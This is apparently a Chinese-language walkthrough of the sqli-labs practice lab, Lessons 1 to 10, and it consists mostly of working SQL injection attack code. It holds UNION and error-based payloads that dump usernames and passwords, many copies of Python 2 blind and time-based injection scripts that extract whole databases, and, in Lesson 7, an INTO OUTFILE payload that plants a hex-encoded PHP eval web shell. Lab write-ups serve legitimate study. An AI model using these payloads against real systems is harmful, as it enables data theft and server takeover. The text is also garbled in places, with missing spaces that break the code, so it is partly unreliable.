select *,* from XX where id = '$id'LIMIT0,1 select *,* from XX where id = ''or1=1limit1,2--+' LIMIT 0,1 http://localhost/sqllab/Less-1/?id=' or 0 union all SELECT 0,TABLE_SCHEMA,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA ='security' limit 3,4 --+
defGuessDBLength(): print'[+]Guessing DBLength' i = 0 while1: r = get("http://localhost/sqllab/Less-1/?id=0' or length(database())=%d--+" %i) html = r.text if'Your Login name'in html: print' [-]The DatabaseNameLength is', i return i i+=1
defGuessDBName(length): print'[+]Guessing DBName' name = '' for i in xrange(length): for n in xrange(127): r = get("http://localhost/sqllab/Less-1/?id=0' or ascii(SUBSTR(database(),%d,1))='%d'--+" %(i+1,n)) html = r.text if'Your Login name'in html: name += chr(n) print' [-]', name break print' [-]DBName is:', name return name
defGuessTBsNum(name): print'[+]Guessing Tables num' i = 0 while1: r = get("http://localhost/sqllab/Less-1/?id=' or %d=(SELECT count(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA ='%s') --+" %(i,name)) html = r.text if'Your Login name'in html: print' [-]The Tables num is', i break i+=1 return i
defGuessTBNameLenth(n, name): print'[+]Guessing TableName Length' i = 1 while1: r = get("http://localhost/sqllab/Less-1/?id=' or ascii(SUBSTR((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.tables where TABLE_SCHEMA ='%s' limit %d,1),%d,1)) --+" %(name,n,i)) html = r.text if'Your Login name'notin html: print' [-]The TableName Lenth is', i-1 return i-1 i+=1
defGuessTBsNames(num, DBName): TBsNames = [] for no inrange(num): name = '' length = GuessTBNameLenth(no, DBName) print' [-]Guessing Table Name' for i in xrange(length): for n in xrange(127): r = get("http://localhost/sqllab/Less-1/?id=' or ascii(SUBSTR((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA ='%s' limit %d,1),%d,1))='%d' --+" %(DBName,no,i+1,n)) html = r.text if'Your Login name'in html: name += chr(n) print' [-]', name break TBsNames.append(name) print' [-]All Tables Names is:', TBsNames return TBsNames
defGuessCLMNum(tname,dname): print'[+]Guessing Colunms num' i = 0 while1: r = get("http://localhost/sqllab/Less-1/?id=' or %d=(SELECT count(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME ='%s' and TABLE_SCHEMA='%s') --+" %(i,tname,dname)) html = r.text if'Your Login name'in html: print' [-]The Colunm num is', i return i i+=1
defGuessCLMLen(cnum, tname, dname): i = 1 while1: r = get("http://localhost/sqllab/Less-1/?id=' or ascii(SUBSTR((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME ='%s' and TABLE_SCHEMA='%s' limit %d,1),%d,1)) --+" %(tname,dname,cnum,i)) html = r.text if'Your Login name'notin html: print' [-]The Colunm Lenth is', i-1 return i-1 i+=1
defGuessCLMName(DBName, TNames): for tname in TNames: print'[+]Guessing Colunms for', tname CLMNames = [] for cnum inrange(GuessCLMNum(tname,DBName)): length = GuessCLMLen(cnum, tname, DBName) name = '' for i in xrange(length): for n in xrange(127): r = get("http://localhost/sqllab/Less-1/?id=' or ascii(SUBSTR((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME ='%s' and TABLE_SCHEMA='%s' limit %d,1),%d,1))='%d' --+" %(tname,DBName,cnum,i+1,n)) html = r.text if'Your Login name'in html: name += chr(n) print' [-]', name break
data = GuessDatas(DBName, tname, name) CLMNames.append(name) print' [-]The Colunms are',CLMNames
defGuessDatasnum(dname, tname, cname): i = 0 while1: r = get("http://localhost/sqllab/Less-1/?id=' or %d=(SELECT count(%s) FROM %s.%s) --+" %(i,cname,dname,tname)) html = r.text if'Your Login name'in html: print' [-]The Datas num is', i return i i+=1
defGuessDataLen(dname, tname, cname, n): print' [-]Guessing data length' i = 1 while1: r = get("http://localhost/sqllab/Less-1/?id=' or ascii(SUBSTR((SELECT %s FROM %s.%s limit %d,1),%d,1)) --+" %(cname, dname, tname, n, i)) html = r.text if'Your Login name'notin html: print' [-]The Data Lenth is', i-1 return i-1 i+=1
defGuessDatas(dname, tname, cname): datanum = GuessDatasnum(dname, tname, cname) Data = [] for no inrange(datanum): length = GuessDataLen(dname, tname, cname, no) print' [-]Guessing data' name = '' for i in xrange(length): for n in xrange(127): while1: try: r = get("http://localhost/sqllab/Less-1/?id=' or ascii(SUBSTR((SELECT %s FROM %s.%s limit %d,1),%d,1))='%d' --+" %(cname, dname, tname, no,i+1,n)) break except: print'Relaxing...' html = r.text if'Your Login name'in html: name += chr(n) print' [-]', name break Data.append(name) print' [-]All Datas of %s is:' %cname, Data return Data
select *,* from XX where id = 0unionallSELECT0,username,passwordFROM security.users limit1,2 --+ LIMIT0,1 http://localhost/sqllab/Less-1/?id= 0unionallSELECT0,TABLE_NAME,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA ='security'limit1,2 --+
defGuessDBLength(): print'[+]Guessing DBLength' i = 0 while1: r = get("http://localhost/sqllab/Less-2/?id=0 or length(database())=%d--+" %i) html = r.text if'Your Login name'in html: print' [-]The DatabaseNameLength is', i return i i+=1
defGuessDBName(length): print'[+]Guessing DBName' name = '' for i in xrange(length): for n in xrange(127): r = get("http://localhost/sqllab/Less-2/?id=0 or ascii(SUBSTR(database(),%d,1))='%d'--+" %(i+1,n)) html = r.text if'Your Login name'in html: name += chr(n) print' [-]', name break print' [-]DBName is:', name return name
defGuessTBsNum(name): print'[+]Guessing Tables num' i = 0 while1: r = get("http://localhost/sqllab/Less-2/?id=-1 or %d=(SELECT count(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA ='%s') --+" %(i,name)) html = r.text if'Your Login name'in html: print' [-]The Tables num is', i break i+=1 return i
defGuessTBNameLenth(n, name): print'[+]Guessing TableName Length' i = 1 while1: r = get("http://localhost/sqllab/Less-2/?id=-1 or ascii(SUBSTR((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.tables where TABLE_SCHEMA ='%s' limit %d,1),%d,1)) --+" %(name,n,i)) html = r.text if'Your Login name'notin html: print' [-]The TableName Lenth is', i-1 return i-1 i+=1
defGuessTBsNames(num, DBName): TBsNames = [] for no inrange(num): name = '' length = GuessTBNameLenth(no, DBName) print' [-]Guessing Table Name' for i in xrange(length): for n in xrange(127): r = get("http://localhost/sqllab/Less-2/?id=-1 or ascii(SUBSTR((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA ='%s' limit %d,1),%d,1))='%d' --+" %(DBName,no,i+1,n)) html = r.text if'Your Login name'in html: name += chr(n) print' [-]', name break TBsNames.append(name) print' [-]All Tables Names is:', TBsNames return TBsNames
defGuessCLMNum(tname,dname): print'[+]Guessing Colunms num' i = 0 while1: r = get("http://localhost/sqllab/Less-2/?id=-1 or %d=(SELECT count(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME ='%s' and TABLE_SCHEMA='%s') --+" %(i,tname,dname)) html = r.text if'Your Login name'in html: print' [-]The Colunm num is', i return i i+=1
defGuessCLMLen(cnum, tname, dname): i = 1 while1: r = get("http://localhost/sqllab/Less-2/?id=-1 or ascii(SUBSTR((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME ='%s' and TABLE_SCHEMA='%s' limit %d,1),%d,1)) --+" %(tname,dname,cnum,i)) html = r.text if'Your Login name'notin html: print' [-]The Colunm Lenth is', i-1 return i-1 i+=1
defGuessCLMName(DBName, TNames): for tname in TNames: print'[+]Guessing Colunms for', tname CLMNames = [] for cnum inrange(GuessCLMNum(tname,DBName)): length = GuessCLMLen(cnum, tname, DBName) name = '' for i in xrange(length): for n in xrange(127): r = get("http://localhost/sqllab/Less-2/?id=-1 or ascii(SUBSTR((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME ='%s' and TABLE_SCHEMA='%s' limit %d,1),%d,1))='%d' --+" %(tname,DBName,cnum,i+1,n)) html = r.text if'Your Login name'in html: name += chr(n) print' [-]', name break
data = GuessDatas(DBName, tname, name) CLMNames.append(name) print' [-]The Colunms are',CLMNames
defGuessDatasnum(dname, tname, cname): i = 0 while1: r = get("http://localhost/sqllab/Less-2/?id=-1 or %d=(SELECT count(%s) FROM %s.%s) --+" %(i,cname,dname,tname)) html = r.text if'Your Login name'in html: print' [-]The Datas num is', i return i i+=1
defGuessDataLen(dname, tname, cname, n): print' [-]Guessing data length' i = 1 while1: r = get("http://localhost/sqllab/Less-2/?id=-1 or ascii(SUBSTR((SELECT %s FROM %s.%s limit %d,1),%d,1)) --+" %(cname, dname, tname, n, i)) html = r.text if'Your Login name'notin html: print' [-]The Data Lenth is', i-1 return i-1 i+=1
defGuessDatas(dname, tname, cname): datanum = GuessDatasnum(dname, tname, cname) Data = [] for no inrange(datanum): length = GuessDataLen(dname, tname, cname, no) print' [-]Guessing data' name = '' for i in xrange(length): for n in xrange(127): while1: try: r = get("http://localhost/sqllab/Less-2/?id=-1 or ascii(SUBSTR((SELECT %s FROM %s.%s limit %d,1),%d,1))='%d' --+" %(cname, dname, tname, no,i+1,n)) break except: print'Relaxing...' html = r.text if'Your Login name'in html: name += chr(n) print' [-]', name break Data.append(name) print' [-]All Datas of %s is:' %cname, Data return Data
select *,* from XX where id = '($id)'LIMIT0,1 select *,* from XX where id = ('$id') LIMIT0,1
select *,* from XX where id = '(1)'LIMIT0,1 select *,* from XX where id = '()'--+)' LIMIT 0,1 select *,* from XX where id = ('1') --+') LIMIT 0,1
select *,* from XX where id = (' 1') or0unionallSELECT0,TABLE_NAME,COLUMN_NAMEFROM INFORMATION_SCHEMA.COLUMNSwhere TABLE_SCHEMA ='security'limit1,2--+ ') LIMIT 0,1
defGuessDBLength(): print'[+]Guessing DBLength' i = 0 while1: r = get("http://localhost/sqllab/Less-3/?id=0') or length(database())=%d--+" %i) html = r.text if'Your Login name'in html: print' [-]The DatabaseNameLength is', i return i i+=1
defGuessDBName(length): print'[+]Guessing DBName' name = '' for i in xrange(length): for n in xrange(127): r = get("http://localhost/sqllab/Less-3/?id=0') or ascii(SUBSTR(database(),%d,1))='%d'--+" %(i+1,n)) html = r.text if'Your Login name'in html: name += chr(n) print' [-]', name break print' [-]DBName is:', name return name
defGuessTBsNum(name): print'[+]Guessing Tables num' i = 0 while1: r = get("http://localhost/sqllab/Less-3/?id=') or %d=(SELECT count(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA ='%s') --+" %(i,name)) html = r.text if'Your Login name'in html: print' [-]The Tables num is', i break i+=1 return i
defGuessTBNameLenth(n, name): print'[+]Guessing TableName Length' i = 1 while1: r = get("http://localhost/sqllab/Less-3/?id=') or ascii(SUBSTR((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.tables where TABLE_SCHEMA ='%s' limit %d,1),%d,1)) --+" %(name,n,i)) html = r.text if'Your Login name'notin html: print' [-]The TableName Lenth is', i-1 return i-1 i+=1
defGuessTBsNames(num, DBName): TBsNames = [] for no inrange(num): name = '' length = GuessTBNameLenth(no, DBName) print' [-]Guessing Table Name' for i in xrange(length): for n in xrange(127): r = get("http://localhost/sqllab/Less-3/?id=') or ascii(SUBSTR((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA ='%s' limit %d,1),%d,1))='%d' --+" %(DBName,no,i+1,n)) html = r.text if'Your Login name'in html: name += chr(n) print' [-]', name break TBsNames.append(name) print' [-]All Tables Names is:', TBsNames return TBsNames
defGuessCLMNum(tname,dname): print'[+]Guessing Colunms num' i = 0 while1: r = get("http://localhost/sqllab/Less-3/?id=') or %d=(SELECT count(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME ='%s' and TABLE_SCHEMA='%s') --+" %(i,tname,dname)) html = r.text if'Your Login name'in html: print' [-]The Colunm num is', i return i i+=1
defGuessCLMLen(cnum, tname, dname): i = 1 while1: r = get("http://localhost/sqllab/Less-3/?id=') or ascii(SUBSTR((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME ='%s' and TABLE_SCHEMA='%s' limit %d,1),%d,1)) --+" %(tname,dname,cnum,i)) html = r.text if'Your Login name'notin html: print' [-]The Colunm Lenth is', i-1 return i-1 i+=1
defGuessCLMName(DBName, TNames): for tname in TNames: print'[+]Guessing Colunms for', tname CLMNames = [] for cnum inrange(GuessCLMNum(tname,DBName)): length = GuessCLMLen(cnum, tname, DBName) name = '' for i in xrange(length): for n in xrange(127): r = get("http://localhost/sqllab/Less-3/?id=') or ascii(SUBSTR((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME ='%s' and TABLE_SCHEMA='%s' limit %d,1),%d,1))='%d' --+" %(tname,DBName,cnum,i+1,n)) html = r.text if'Your Login name'in html: name += chr(n) print' [-]', name break
data = GuessDatas(DBName, tname, name) CLMNames.append(name) print' [-]The Colunms are',CLMNames
defGuessDatasnum(dname, tname, cname): i = 0 while1: r = get("http://localhost/sqllab/Less-3/?id=') or %d=(SELECT count(%s) FROM %s.%s) --+" %(i,cname,dname,tname)) html = r.text if'Your Login name'in html: print' [-]The Datas num is', i return i i+=1
defGuessDataLen(dname, tname, cname, n): print' [-]Guessing data length' i = 1 while1: r = get("http://localhost/sqllab/Less-3/?id=') or ascii(SUBSTR((SELECT %s FROM %s.%s limit %d,1),%d,1)) --+" %(cname, dname, tname, n, i)) html = r.text if'Your Login name'notin html: print' [-]The Data Lenth is', i-1 return i-1 i+=1
defGuessDatas(dname, tname, cname): datanum = GuessDatasnum(dname, tname, cname) Data = [] for no inrange(datanum): length = GuessDataLen(dname, tname, cname, no) print' [-]Guessing data' name = '' for i in xrange(length): for n in xrange(127): while1: try: r = get("http://localhost/sqllab/Less-3/?id=') or ascii(SUBSTR((SELECT %s FROM %s.%s limit %d,1),%d,1))='%d' --+" %(cname, dname, tname, no,i+1,n)) break except: print'Relaxing...' html = r.text if'Your Login name'in html: name += chr(n) print' [-]', name break Data.append(name) print' [-]All Datas of %s is:' %cname, Data return Data
select *,* from XX where id = "($id)" LIMIT0,1 select *,* from XX where id = ("$id") LIMIT0,1
select *,* from XX where id = ("") LIMIT0,1
select *,* from XX where id = (" 1") or0unionallSELECT0,TABLE_NAME,COLUMN_NAMEFROM INFORMATION_SCHEMA.COLUMNSwhere TABLE_SCHEMA ='security'limit1,2--+ ') LIMIT 0,1
select *,* from XX where id = '1'orderby3--+' LIMIT 0,1 3 列
' or 0 union all SELECT 0,1,2 FROM k--+ 库名 security
concat(user(),floor(rand(0)*2))
select *,* from XX where id=' ' union select 1,2,3 from INFORMATION_SCHEMA.tables where extractvalue(1,concat(user(),'*',@@version,'*',(select TABLE_NAME from INFORMATION_SCHEMA.tables where TABLE_NAME limit 102,1))) --+ 'LIMIT0,1
http://localhost/sqllab/Less-5/?id=' union select 1,2,3 from INFORMATION_SCHEMA.tables where extractvalue(1,concat(user(),'*',@@version,'*',(select SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMATA limit 1,1)))
where extractvalue(1,concat('*',(select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA='security' limit 2,1),'*'));
或者 http://localhost/sqllab/Less-5/?id=' union select 1,2,3 from INFORMATION_SCHEMA.tables where updatexml(1,concat('*',(select username from security.users limit 0,1),'*',(select password from security.users limit 0,1)),1) --+ (updatexml 有长度限制,最长 32 位)
或者 http://localhost/sqllab/Less-5/?id=' or 1 group by concat_ws('*',(select username from security.users limit 0,1),(select password from security.users limit 0,1),floor(rand(0)*2)) having min(0) --+
同 5 http://localhost/sqllab/Less-6/?id=" union select count(*),2,3 from INFORMATION_SCHEMA.tables group by concat('*',floor(rand(0)*2),'*',(select username from security.users limit 0,1),'*',(select password from security.users limit 0,1))--+
Day7-Less7
分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14
select *,* from XX where id = (('$id')) LIMIT 0,1
http://localhost/sqllab/Less-7/?id=')) or 0 union all SELECT 0,TABLE_NAME,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA ='security' INTO OUTFILE "C:\\Users\\Troy\\Desktop\\1.txt" --+
select id,username,password from users where id = ((' ')) or0 union allSELECT0,TABLE_NAME,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA ='security'INTO OUTFILE "C:\\Users\\Troy\\Desktop\\1.txt"; --+ ')) LIMIT 0,1
localhost/sqllab/Less-7/?id=')) or0 union allSELECT0,TABLE_NAME,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA ='security'INTO OUTFILE "1.txt"; --+
')) or 0 union all SELECT 0x3c3f706870206576616c28245f504f53545b78696d6f5d293b203f3e,2,3 into outfile "/weshell.php" --+ ')) or0 union allSELECT0x3c3f706870206576616c28245f504f53545b78696d6f5d293b203f3e,2,3into outfile "D:\\wamp\\www\\weshell.php" --+
defGuessDBLength(): print'[+]Guessing DBLength' i = 0 while1: r = get("http://localhost/sqllab/Less-1/?id=0' or length(database())=%d--+" %i) html = r.text if'Your Login name'in html: print' [-]The DatabaseNameLength is', i return i i+=1
defGuessDBName(length): print'[+]Guessing DBName' name = '' for i in xrange(length): for n in xrange(127): r = get("http://localhost/sqllab/Less-1/?id=0' or ascii(SUBSTR(database(),%d,1))='%d'--+" %(i+1,n)) html = r.text if'Your Login name'in html: name += chr(n) print' [-]', name break print' [-]DBName is:', name return name
defGuessTBsNum(name): print'[+]Guessing Tables num' i = 0 while1: r = get("http://localhost/sqllab/Less-1/?id=' or %d=(SELECT count(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA ='%s') --+" %(i,name)) html = r.text if'Your Login name'in html: print' [-]The Tables num is', i break i+=1 return i
defGuessTBNameLenth(n, name): print'[+]Guessing TableName Length' i = 1 while1: r = get("http://localhost/sqllab/Less-1/?id=' or ascii(SUBSTR((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.tables where TABLE_SCHEMA ='%s' limit %d,1),%d,1)) --+" %(name,n,i)) html = r.text if'Your Login name'notin html: print' [-]The TableName Lenth is', i-1 return i-1 i+=1
defGuessTBsNames(num, DBName): TBsNames = [] for no inrange(num): name = '' length = GuessTBNameLenth(no, DBName) print' [-]Guessing Table Name' for i in xrange(length): for n in xrange(127): r = get("http://localhost/sqllab/Less-1/?id=' or ascii(SUBSTR((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA ='%s' limit %d,1),%d,1))='%d' --+" %(DBName,no,i+1,n)) html = r.text if'Your Login name'in html: name += chr(n) print' [-]', name break TBsNames.append(name) print' [-]All Tables Names is:', TBsNames return TBsNames
defGuessCLMNum(tname,dname): print'[+]Guessing Colunms num' i = 0 while1: r = get("http://localhost/sqllab/Less-1/?id=' or %d=(SELECT count(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME ='%s' and TABLE_SCHEMA='%s') --+" %(i,tname,dname)) html = r.text if'Your Login name'in html: print' [-]The Colunm num is', i return i i+=1
defGuessCLMLen(cnum, tname, dname): i = 1 while1: r = get("http://localhost/sqllab/Less-1/?id=' or ascii(SUBSTR((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME ='%s' and TABLE_SCHEMA='%s' limit %d,1),%d,1)) --+" %(tname,dname,cnum,i)) html = r.text if'Your Login name'notin html: print' [-]The Colunm Lenth is', i-1 return i-1 i+=1
defGuessCLMName(DBName, TNames): for tname in TNames: print'[+]Guessing Colunms for', tname CLMNames = [] for cnum inrange(GuessCLMNum(tname,DBName)): length = GuessCLMLen(cnum, tname, DBName) name = '' for i in xrange(length): for n in xrange(127): r = get("http://localhost/sqllab/Less-1/?id=' or ascii(SUBSTR((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME ='%s' and TABLE_SCHEMA='%s' limit %d,1),%d,1))='%d' --+" %(tname,DBName,cnum,i+1,n)) html = r.text if'Your Login name'in html: name += chr(n) print' [-]', name break
data = GuessDatas(DBName, tname, name) CLMNames.append(name) print' [-]The Colunms are',CLMNames
defGuessDatasnum(dname, tname, cname): i = 0 while1: r = get("http://localhost/sqllab/Less-1/?id=' or %d=(SELECT count(%s) FROM %s.%s) --+" %(i,cname,dname,tname)) html = r.text if'Your Login name'in html: print' [-]The Datas num is', i return i i+=1
defGuessDataLen(dname, tname, cname, n): print' [-]Guessing data length' i = 1 while1: r = get("http://localhost/sqllab/Less-1/?id=' or ascii(SUBSTR((SELECT %s FROM %s.%s limit %d,1),%d,1)) --+" %(cname, dname, tname, n, i)) html = r.text if'Your Login name'notin html: print' [-]The Data Lenth is', i-1 return i-1 i+=1
defGuessDatas(dname, tname, cname): datanum = GuessDatasnum(dname, tname, cname) Data = [] for no inrange(datanum): length = GuessDataLen(dname, tname, cname, no) print' [-]Guessing data' name = '' for i in xrange(length): for n in xrange(127): while1: try: r = get("http://localhost/sqllab/Less-1/?id=' or ascii(SUBSTR((SELECT %s FROM %s.%s limit %d,1),%d,1))='%d' --+" %(cname, dname, tname, no,i+1,n)) break except: print'Relaxing...' html = r.text if'Your Login name'in html: name += chr(n) print' [-]', name break Data.append(name) print' [-]All Datas of %s is:' %cname, Data return Data
defGuessDBLength(): print'[+]Guessing DBLength' i = 0 while1: s = clock() r = get("http://localhost/sqllab/Less-9/?id=1' and length(database())=%d and sleep(2)--+" %i) html = r.text if clock()-s > 1.5: print' [-]The DatabaseNameLength is', i return i i+=1
defGuessDBName(length): print'[+]Guessing DBName' name = '' for i in xrange(length): for n in xrange(127): s = clock() r = get("http://localhost/sqllab/Less-9/?id=1' and ascii(SUBSTR(database(),%d,1))='%d' and sleep(2)--+" %(i+1,n)) html = r.text if clock()-s > 1.5: name += chr(n) print' [-]', name break print' [-]DBName is:', name return name
defGuessTBsNum(name): print'[+]Guessing Tables num' i = 0 while1: s = clock() r = get("http://localhost/sqllab/Less-9/?id=1' and %d=(SELECT count(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA ='%s') and sleep(2)--+" %(i,name)) html = r.text if clock()-s > 1.5: print' [-]The Tables num is', i break i+=1 return i
defGuessTBNameLenth(n, name): print'[+]Guessing TableName Length' i = 1 while1: s = clock() r = get("http://localhost/sqllab/Less-9/?id=1' and ascii(SUBSTR((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.tables where TABLE_SCHEMA ='%s' limit %d,1),%d,1)) and sleep(2)--+" %(name,n,i)) html = r.text if clock()-s < 1.5: print' [-]The TableName Lenth is', i-1 return i-1 i+=1
defGuessTBsNames(num, DBName): TBsNames = [] for no inrange(num): name = '' length = GuessTBNameLenth(no, DBName) print' [-]Guessing Table Name' for i in xrange(length): for n in xrange(127): s = clock() r = get("http://localhost/sqllab/Less-9/?id=1' and ascii(SUBSTR((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA ='%s' limit %d,1),%d,1))='%d' and sleep(2)--+" %(DBName,no,i+1,n)) html = r.text if clock()-s > 1.5: name += chr(n) print' [-]', name break TBsNames.append(name) print' [-]All Tables Names is:', TBsNames return TBsNames
defGuessCLMNum(tname,dname): print'[+]Guessing Colunms num' i = 0 while1: s = clock() r = get("http://localhost/sqllab/Less-9/?id=1' and %d=(SELECT count(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME ='%s' and TABLE_SCHEMA='%s') and sleep(2)--+" %(i,tname,dname)) html = r.text if clock()-s > 1.5: print' [-]The Colunm num is', i return i i+=1
defGuessCLMLen(cnum, tname, dname): i = 1 while1: s = clock() r = get("http://localhost/sqllab/Less-9/?id=1' and ascii(SUBSTR((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME ='%s' and TABLE_SCHEMA='%s' limit %d,1),%d,1)) and sleep(2)--+" %(tname,dname,cnum,i)) html = r.text if clock()-s < 1.5: print' [-]The Colunm Lenth is', i-1 return i-1 i+=1
defGuessCLMName(DBName, TNames): for tname in TNames: print'[+]Guessing Colunms for', tname CLMNames = [] for cnum inrange(GuessCLMNum(tname,DBName)): length = GuessCLMLen(cnum, tname, DBName) name = '' for i in xrange(length): for n in xrange(127): s = clock() r = get("http://localhost/sqllab/Less-9/?id=1' and ascii(SUBSTR((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME ='%s' and TABLE_SCHEMA='%s' limit %d,1),%d,1))='%d' and sleep(2)--+" %(tname,DBName,cnum,i+1,n)) html = r.text if clock()-s > 1.5: name += chr(n) print' [-]', name break
data = GuessDatas(DBName, tname, name) CLMNames.append(name) print' [-]The Colunms are',CLMNames
defGuessDatasnum(dname, tname, cname): i = 0 while1: s = clock() r = get("http://localhost/sqllab/Less-9/?id=1' and %d=(SELECT count(%s) FROM %s.%s) and sleep(2)--+" %(i,cname,dname,tname)) html = r.text if clock()-s > 1.5: print' [-]The Datas num is', i return i i+=1
defGuessDataLen(dname, tname, cname, n): print' [-]Guessing data length' i = 1 while1: s = clock() r = get("http://localhost/sqllab/Less-9/?id=1' and ascii(SUBSTR((SELECT %s FROM %s.%s limit %d,1),%d,1)) and sleep(2)--+" %(cname, dname, tname, n, i)) html = r.text if clock()-s < 1.5: print' [-]The Data Lenth is', i-1 return i-1 i+=1
defGuessDatas(dname, tname, cname): datanum = GuessDatasnum(dname, tname, cname) Data = [] for no inrange(datanum): length = GuessDataLen(dname, tname, cname, no) print' [-]Guessing data' name = '' for i in xrange(length): for n in xrange(127): while1: s = clock() try: r = get("http://localhost/sqllab/Less-9/?id=1' and ascii(SUBSTR((SELECT %s FROM %s.%s limit %d,1),%d,1))='%d' and sleep(2)--+" %(cname, dname, tname, no,i+1,n)) break except: print'Relaxing...' html = r.text if clock()-s > 1.5: name += chr(n) print' [-]', name break Data.append(name) print' [-]All Datas of %s is:' %cname, Data return Data
defGuessDBLength(): print'[+]Guessing DBLength' i = 0 while1: s = clock() r = get("http://localhost/sqllab/Less-10/?id=1\" and length(database())=%d and sleep(2)--+" %i) html = r.text if clock()-s > 1.5: print' [-]The DatabaseNameLength is', i return i i+=1
defGuessDBName(length): print'[+]Guessing DBName' name = '' for i in xrange(length): for n in xrange(127): s = clock() r = get("http://localhost/sqllab/Less-10/?id=1\" and ascii(SUBSTR(database(),%d,1))='%d' and sleep(2)--+" %(i+1,n)) html = r.text if clock()-s > 1.5: name += chr(n) print' [-]', name break print' [-]DBName is:', name return name
defGuessTBsNum(name): print'[+]Guessing Tables num' i = 0 while1: s = clock() r = get("http://localhost/sqllab/Less-10/?id=1\" and %d=(SELECT count(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA ='%s') and sleep(2)--+" %(i,name)) html = r.text if clock()-s > 1.5: print' [-]The Tables num is', i break i+=1 return i
defGuessTBNameLenth(n, name): print'[+]Guessing TableName Length' i = 1 while1: s = clock() r = get("http://localhost/sqllab/Less-10/?id=1\" and ascii(SUBSTR((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.tables where TABLE_SCHEMA ='%s' limit %d,1),%d,1)) and sleep(2)--+" %(name,n,i)) html = r.text if clock()-s < 1.5: print' [-]The TableName Lenth is', i-1 return i-1 i+=1
defGuessTBsNames(num, DBName): TBsNames = [] for no inrange(num): name = '' length = GuessTBNameLenth(no, DBName) print' [-]Guessing Table Name' for i in xrange(length): for n in xrange(127): s = clock() r = get("http://localhost/sqllab/Less-10/?id=1\" and ascii(SUBSTR((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA ='%s' limit %d,1),%d,1))='%d' and sleep(2)--+" %(DBName,no,i+1,n)) html = r.text if clock()-s > 1.5: name += chr(n) print' [-]', name break TBsNames.append(name) print' [-]All Tables Names is:', TBsNames return TBsNames
defGuessCLMNum(tname,dname): print'[+]Guessing Colunms num' i = 0 while1: s = clock() r = get("http://localhost/sqllab/Less-10/?id=1\" and %d=(SELECT count(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME ='%s' and TABLE_SCHEMA='%s') and sleep(2)--+" %(i,tname,dname)) html = r.text if clock()-s > 1.5: print' [-]The Colunm num is', i return i i+=1
defGuessCLMLen(cnum, tname, dname): i = 1 while1: s = clock() r = get("http://localhost/sqllab/Less-10/?id=1\" and ascii(SUBSTR((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME ='%s' and TABLE_SCHEMA='%s' limit %d,1),%d,1)) and sleep(2)--+" %(tname,dname,cnum,i)) html = r.text if clock()-s < 1.5: print' [-]The Colunm Lenth is', i-1 return i-1 i+=1
defGuessCLMName(DBName, TNames): for tname in TNames: print'[+]Guessing Colunms for', tname CLMNames = [] for cnum inrange(GuessCLMNum(tname,DBName)): length = GuessCLMLen(cnum, tname, DBName) name = '' for i in xrange(length): for n in xrange(127): s = clock() r = get("http://localhost/sqllab/Less-10/?id=1\" and ascii(SUBSTR((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME ='%s' and TABLE_SCHEMA='%s' limit %d,1),%d,1))='%d' and sleep(2)--+" %(tname,DBName,cnum,i+1,n)) html = r.text if clock()-s > 1.5: name += chr(n) print' [-]', name break
data = GuessDatas(DBName, tname, name) CLMNames.append(name) print' [-]The Colunms are',CLMNames
